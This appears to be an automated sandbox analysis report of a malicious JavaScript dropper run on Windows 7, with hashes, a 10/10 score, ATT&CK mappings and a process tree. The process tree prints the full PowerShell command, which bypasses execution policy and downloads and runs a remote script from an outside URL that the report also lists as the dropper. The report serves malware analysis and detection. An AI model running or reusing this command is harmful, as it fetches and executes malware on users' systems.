c6a6520a8d9d4ada3c4c23ca97fe954be793f4eda9dc3b6e28d9588fa6051a98

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
01-03-2024 16:28

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General

Target

I_190941909419094SH_19094.js
Size

53KB
MD5

e03e92ac8fb4660b37306d2e3054ff7b
SHA1

2e1d74fcceb08bac9f1498e99c5a2a3c30a93701
SHA256

c6a6520a8d9d4ada3c4c23ca97fe954be793f4eda9dc3b6e28d9588fa6051a98
SHA512

07d89001bff59317bd0121f37f77fde7a1ad0bb914e050f3212e7840cd75f6a2c1013b521322e3a5d1b73ae3218fc19fc455ea30140c1ee21c303df675b294b0
SSDEEP

1536:Dy9WbpDiixx/hEn/+4wSlbl4scxwBJvO4TIWBC:DDBR/unwS5l4scqtPTLM

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://hotelashrafee.com/rem.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2480	powershell.exe
4	2480	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2480	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2480	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2868 wrote to memory of 2480	2868	wscript.exe	28
PID 2868 wrote to memory of 2480	2868	wscript.exe	28
PID 2868 wrote to memory of 2480	2868	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\I_190941909419094SH_19094.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://hotelashrafee.com/rem.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2480-5-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2480-4-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2480-7-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/2480-6-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2480-8-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2480-9-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/2480-10-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/2480-11-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/2480-12-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/2480-13-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/2480-14-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download